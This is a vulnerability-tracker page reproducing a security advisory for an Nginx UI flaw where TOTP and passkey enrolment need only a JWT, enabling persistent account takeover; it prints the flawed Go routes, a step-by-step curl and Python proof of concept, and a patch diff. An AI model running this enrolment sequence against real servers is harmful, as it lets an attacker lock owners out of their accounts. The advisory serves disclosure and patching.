Nginx UI: TOTP / passkey enrolment requires no re-authentication, enabling persistent account takeover
CVE-2026-84313 · GHSA-gfrc-g87h-7h5w · GO-2026-6786 · published 15 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-84313?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
Nginx-UI(Go) < 1.9.10-0.20260703131214-23d1934099b0
How to check
- Run
go list -m Nginx-UIin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- Upgrade
Nginx-UIto 1.9.10-0.20260703131214-23d1934099b0 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
## Summary
Endpoints that bind a TOTP secret (`POST /api/otp_enroll`) or register a WebAuthn passkey (`POST /api/finish_passkey_register`) for the *current* user require only a valid JWT. There is no current-password re-prompt and the routes are explicitly registered **outside** the `RequireSecureSession()` group. With only a stolen JWT, an attacker can attach their own second factor to the victim's account, surviving any subsequent password rotation and locking the legitimate user out.
## Details
`api/user/router.go:34-39` — note the routes registered *before* the secure-session group:
```go
r.GET("/otp_secret", GenerateTOTP)
r.POST("/otp_enroll", EnrollTOTP) // ← outside RequireSecureSession
r.GET("/begin_passkey_register", BeginPasskeyRegistration)
r.POST("/finish_passkey_register", FinishPasskeyRegistration) // ← outside RequireSecureSession
o := r.Group("", middleware.RequireSecureSession())
{
o.GET("/otp_reset", ResetOTP) // reset *is* protected — inconsistent
...
}
```
`EnrollTOTP` (`api/user/otp.go:45-102`) only refuses if `cUser.EnabledOTP()` is already `true`; for any victim who has never enabled TOTP it accepts an attacker-supplied `Secret` and `Passcode` pair (the validator only checks that the passcode is a valid TOTP for the supplied secret — i.e., the attacker proves they know the secret they are submitting):
```go
if cUser.EnabledOTP() { ... abort ... }
var twoFA struct {
Secret string `json:"secret" binding:"required"`
Passcode string `json:"passcode" binding:"required"`
}
if !cosy.BindAndValid(c, &twoFA) { return }
if ok := totp.Validate(twoFA.Passcode, twoFA.Secret); !ok { ... abort ... }
ciphertext, _ := crypto.AesEncrypt([]byte(twoFA.Secret))
u.Where(u.ID.Eq(cUser.ID)).Update(u.OTPSecret, ciphertext)
```
`FinishPasskeyRegistration` (`api/user/passkey.go`) is structurally identical and additionally has *no* "already enrolled" guard — an attacker can register multiple passkeys to the victim.
## Proof of Concept
```bash
JWT="<victim_jwt>"
# Step 1 — request a fresh TOTP secret server-side (anyone with JWT can call):
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/otp_secret
{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN",
"url":"otpauth://totp/Nginx%20UI:admin?...&secret=5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN"}
# Step 2 — compute current 30-s TOTP code (attacker-side):
$ python3 -c "import base64,hmac,hashlib,struct,time
key=base64.b32decode('5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN')
ctr=int(time.time())//30
h=hmac.new(key, struct.pack('>Q',ctr), hashlib.sha1).digest()
o=h[-1]&0xF; v=(struct.unpack('>I',h[o:o+4])[0]&0x7fffffff)%1000000
print(f'{v:06d}')"
954084
# Step 3 — bind that secret to the victim's account:
$ curl -i -X POST -H "Authorization: $JWT" -H "Content-Type: application/json" \
-d '{"secret":"5BWZDEWWECJ6LRPSDKHURCWXBU5KKRYN","passcode":"954084"}' \
http://127.0.0.1:18080/api/otp_enroll
HTTP/1.1 200 OK
{"message":"ok","codes":[{"code":"c77d5-50543"},{"code":"f9284-688c6"},...],
"last_viewed":1778338236}
# Step 4 — confirm 2FA is now enabled on the victim's account:
$ curl -s -H "Authorization: $JWT" http://127.0.0.1:18080/api/2fa_status
{"enabled":true,"otp_status":true,"passkey_status":false,
"recovery_codes_generated":true,"recovery_codes_viewed":true}
```
Now whenever the legitimate user (or anyone) logs in to that account, the second factor must be supplied from the *attacker's* authenticator.
The passkey variant follows the same pattern: `GET /api/begin_passkey_register` then `POST /api/finish_passkey_register` with the attacker's WebAuthn authenticator. The route is also outside `RequireSecureSession`.
## Impact
* Persistent account takeover surviving the victim's password reset.
* Combines trivially with any of: stolen JWT, the `RequireSecureSession` bypass, the missing-role-model privilege escalation, and the weak recovery-code generation.
## Patches
`api/user/router.go` — move enrolment routes inside the secure-session group:
```diff
- r.POST("/otp_enroll", EnrollTOTP)
- r.GET("/begin_passkey_register", BeginPasskeyRegistration)
- r.POST("/finish_passkey_register", FinishPasskeyRegistration)
-
o := r.Group("", middleware.RequireSecureSession())
{
+ o.POST("/otp_enroll", EnrollTOTP)
+ o.GET("/begin_passkey_register", BeginPasskeyRegistration)
+ o.POST("/finish_passkey_register", FinishPasskeyRegistration)
o.GET("/otp_reset", ResetOTP)
...
}
```
This patch alone is **not sufficient** — the `RequireSecureSession` middleware is a no-op for non-OTP users (separate advisory). Both must be patched together. Additionally, require the user's current password in the request body for these mutations (mirroring `UpdateCurrentUserPassword` at `api/user/current_user.go`).
## Workarounds
None reliable. Operators should monitor the `users` table for unexpected `OTPSecret` values and the `passkeys` table for unexpected rows.
## Credits
Vishal Shukla ([@shukla304](https://github.com/shukla304)) and Sechub.dev AI Agent.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/0xJacky/nginx-ui/security/advisories/GHSA-gfrc-g87h-7h5w
- nvd.nist.gov/vuln/detail/CVE-2026-84313
- github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2
- github.com/0xJacky/nginx-ui/releases/tag/v2.4.1
- github.com/advisories/GHSA-gfrc-g87h-7h5w
Merged from GitHub Advisory Database, OSV. Last updated 23 Oct 2026. All vulnerabilities · RSS · JSON